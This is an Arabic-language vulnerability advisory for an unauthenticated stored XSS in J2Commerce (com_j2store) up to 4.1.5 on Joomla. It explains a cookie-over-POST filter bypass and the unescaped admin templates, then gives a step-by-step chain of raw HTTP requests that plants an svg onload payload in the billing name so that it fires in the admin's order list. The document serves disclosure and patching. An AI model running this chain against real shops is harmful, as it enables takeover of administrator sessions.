
XSS مخزنة في J2Commerce عند إتمام الشراء كضيف عبر تجاوز فلتر الكوكيز
J2Commerce (com_j2store) ≤ 4.1.5 — مهاجم غير مصادَق يخزّن حمولة XSS يتم تنفيذها تلقائيًا في متصفح المسؤول عند تحميل الصفحة
الإصدار 4.1.5 من J2Commerce عرضة لثغرة XSS مخزنة (Stored XSS) من خلال حقول عنوان الفوترة في إتمام الشراء كضيف. يستغل مهاجم غير مصادَق تجاوزًا للفلتر في Input::getArray() الخاصة بـ Joomla بالتزامن مع variables_order=EGPCS في PHP (تتغلب الكوكيز على POST في $_REQUEST) لتخزين HTML غير معقّم في حقول مثل billing_first_name. وتُطبع هذه الحقول مباشرةً في لوحة إدارة الطلبات الخاصة بالمسؤول دون استخدام htmlspecialchars()، مما يؤدي إلى تنفيذ الحمولة في متصفح المسؤول.
يتم تشغيل حمولة XSS تلقائيًا عند تحميل الصفحة عندما ينتقل المسؤول إلى قائمة الطلبات — لا يلزم أي نقرة على طلب فردي. سلسلة طلبات HTTP واحدة (إضافة إلى السلة ← إرسال إتمام الشراء مع تجاوز الكوكيز ← وضع الطلب) تخزّن الحمولة بشكل دائم، وستُنفَّذ في متصفح كل مسؤول حتى يتم حذف الطلب أو تصحيح الثغرة.
لا يتطلب الهجوم أي مصادقة من المهاجم. إتمام الشراء كضيف هو ميزة قياسية شائعة التفعيل في مواقع التجارة الإلكترونية، مما يوفر حافزًا اقتصاديًا للمسؤولين لمراجعة الطلبات الجديدة — مما يجعل استغلال الثغرة أمرًا بسيطًا وسهل التحويل إلى سلاح فعّال.
| المكوّن | الإصدارات المتأثرة | اختُبر على | الإصلاح |
|---|---|---|---|
| J2Commerce (com_j2store) | 1.0.0 – 4.1.5 | 4.1.5 على Joomla 5.4.7 + MySQL 8.0 | 3.3.21 / 4.0.21 / 4.1.6 |
النوع: Cross-Site Scripting — مخزنة (CWE-79)
المصادقة المطلوبة: لا شيء — غير مصادَق (إتمام الشراء كضيف)
المكان الرئيسي: administrator/components/com_j2store/views/orders/tmpl/default_items.php:73
مسار الكتابة: components/com_j2store/controllers/checkouts.php:535
تتكون الثغرة من نقطتي ضعف متراكمتين: تجاوز فلتر الإدخال في مسار الكتابة، وغياب ترميز المخرجات في مسار القراءة.
1. تجاوز فلتر الإدخال — سوء استخدام Input::getArray() في Joomla
يقرأ متحكّم إتمام الشراء كضيف في J2Commerce حقول العنوان باستخدام $app->input->getArray($_POST). يمر تنفيذ Joomla عبر مصفوفة $_POST ويستخدم كل قيمة كنوع فلتر (وليس كبيانات)، بينما يقرأ القيمة الفعلية من $_REQUEST:
COMPONENTS/COM_J2STORE/CONTROLLERS/CHECKOUTS.PHP:535 — مسار الكتابة
$data = $app->input->getArray($_POST);
LIBRARIES/VENDOR/JOOMLA/INPUT/SRC/INPUT.PHP — طريقة GETARRAY() (السطر 187)
public function getArray(array $vars = [], $datasource = null)
{
foreach ($vars as $k => $v) {
$results[$k] = $this->get($k, null, $v); // $k = field name, $v = POST value used as filter TYPE
}
}
LIBRARIES/VENDOR/JOOMLA/INPUT/SRC/INPUT.PHP — مصدر البيانات (السطر 97)
$this->data = $source ?? $_REQUEST; // Reads from $_REQUEST, not $_POST
2. variables_order في PHP — تتغلب الكوكيز على POST في $_REQUEST
إن $_REQUEST في PHP هي متغير عام فائق مدمج يُبنى من $_GET و$_POST و$_COOKIE. عندما تكون variables_order=EGPCS (الافتراضي المضمّن في معظم بيئات PHP)، تُدرج الكوكيز (C) بعد POST (P)، لذا تكسب الكوكيز في حالة تعارض المفاتيح.
إرسال first_name=RAW في جسم POST يجعل InputFilter::clean() في Joomla يطبّق نوع الفلتر 'Raw' (بدون معالجة) على قيمة الكوكيز first_name=<svg...> التي تكسب في $_REQUEST.
LIBRARIES/VENDOR/JOOMLA/FILTER/SRC/INPUTFILTER.PHP — طريقة CLEAN() (السطر 215)
$type = ucfirst(strtolower($type)); // 'RAW' → 'Raw'
if ($type === 'Raw') {
return $source; // ← no sanitization — returns cookie value unchanged
}
النتيجة النهائية: جسم POST الذي يحتوي first_name=RAW يضبط الفلتر على وضع عدم المعالجة. تكسب الكوكيز first_name=<svg onload="alert(document.domain)"> في $_REQUEST. يعيد Joomla قيمة الكوكيز دون فلترة. يخزّنها J2Commerce خامًا في j2store_orderinfos.billing_first_name.
3. غياب ترميز المخرجات — أماكن العرض في قوالب الإدارة
ADMINISTRATOR/COMPONENTS/COM_J2STORE/VIEWS/ORDERS/TMPL/DEFAULT_ITEMS.PHP:73 — المكان الأساسي (يُفعَّل عند تحميل صفحة القائمة)
// Vulnerable — no htmlspecialchars():
<span class="me-1"><?php echo $row->billing_first_name .' '.$row->billing_last_name; ?></span>
ADMINISTRATOR/COMPONENTS/COM_J2STORE/VIEWS/ORDER/TMPL/FORM_CUSTOMER.PHP:56 — مكان ثانوي
// Vulnerable — no htmlspecialchars():
<?php echo '<strong>'.$this->orderinfo->billing_first_name." ".$this->orderinfo->billing_last_name."</strong>"; ?>
<?php echo $this->orderinfo->billing_address_1;?>
<?php echo $this->orderinfo->billing_city;?>
<?php echo $this->orderinfo->billing_phone_1; ?>
يعمل هذا التجاوز في جميع بيئات PHP باستثناء Debian/Ubuntu (وهي التي تضع صراحةً request_order = "GP"، باستبعاد الكوكيز من $_REQUEST). جميع بيئات الاستضافة الرئيسية الأخرى — الاستضافة المشتركة عبر cPanel/Plesk وCentOS/RHEL وXAMPP/WAMP/MAMP وWindows IIS — تعود إلى EGPCS، مما يجعل تجاوز الكوكيز مفعّلًا افتراضيًا دون الحاجة إلى أي تغييرات في الإعدادات.
افتح قائمة طلبات إدارة J2Commerce بوصفك المسؤول الضحية. يؤكد هذا أن المسؤول يستخدم اللوحة بنشاط وسيواجه الحمولة عند الزيارة التالية.

بوصفك المهاجم غير المصادَق، أرسل طلب GET إلى الصفحة الرئيسية لواجهة J2Commerce الأمامية لإنشاء جلسة واستخراج رمز CSRF المضمّن في خيارات JSON الخاصة بالصفحة. هذا الرمز مطلوب لطلبات POST اللاحقة.

أضف منتجًا إلى سلة المهاجم. يجب أن تكون السلة غير فارغة حتى يقبل مسار إتمام الشراء كضيف إرسال العنوان.
POST /index.php?option=com_j2store&view=carts&task=addItem&ajax=1 HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
product_id=&j2store_variant_id=&quantity=1&<csrf_token>=1

أرسل نموذج عنوان إتمام الشراء كضيف بقيمتين متعارضتين لـ first_name:
first_name=RAW — يفسّرها Joomla كنوع الفلتر (بدون معالجة)first_name=<svg...> — تكسب هذه القيمة في $_REQUEST (EGPCS في PHP: الكوكيز > POST) وتُعاد دون فلترةPOST /index.php?option=com_j2store&view=checkout&task=guest_validate HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
Cookie: <joomla_session>=<session_value>; first_name=%3Csvg+xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22+onload%3D%22alert%28document.domain%29%22%3E%3C%2Fsvg%3E
first_name=RAW&last_name=Attacker&address_1=1+Evil+St&city=HackCity&zip=12345&country_id=223&zone_id=62&phone_1=0123456789&phone_2=0123456789&email=attacker%40evil.com&<csrf_token>=1

أرسل خطوة عنوان الشحن باستخدام نفس تجاوز الكوكيز. تعيّن هذه الخطوة بلد الشحن في الجلسة — وتخطّيها يؤدي إلى حدوث خطأ "SHIPPING_ADDRESS_NOT_FOUND" في الخطوات اللاحقة.

اختر طريقة الدفع (الدفع عند الاستلام). حقل payment_plugin ليس حقل إدخال نصي معرّضًا لـ XSS.
POST /index.php?option=com_j2store&view=checkout&task=shipping_payment_method_validate HTTP/1.1
payment_plugin=payment_cash&<csrf_token>=1

أرسل خطوة التأكيد لتلقي صفحة ملخص الطلب التي تحتوي على حقل hash مخفيّ. هذا الرمز مطلوب لإتمام الطلب.
POST /index.php?option=com_j2store&view=checkout&task=confirm HTTP/1.1
accept_terms=1&<csrf_token>=1

أنهِ الطلب باستخدام الرمز من الخطوة السابقة. ينشئ الخادم سجل الطلب في joom_j2store_orderinfos مع تعيين billing_first_name على حمولة XSS الخام.
POST /index.php?option=com_j2store&view=checkout&task=confirmPayment HTTP/1.1
hash=<hash_from_step7>&<csrf_token>=1

بوصفك المسؤول الضحية، انتقل إلى قائمة طلبات J2Commerce. تُطلق حمولة XSS فورًا عند تحميل الصفحة — دون الحاجة إلى أي نقرة. يعرض قالب default_items.php:73 قيمة billing_first_name دون ترميز في عمود العميل.
عندما يعرض المسؤول الطلب، تتضمن استجابة الخادم:
<strong><svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"></svg> Attacker</strong>
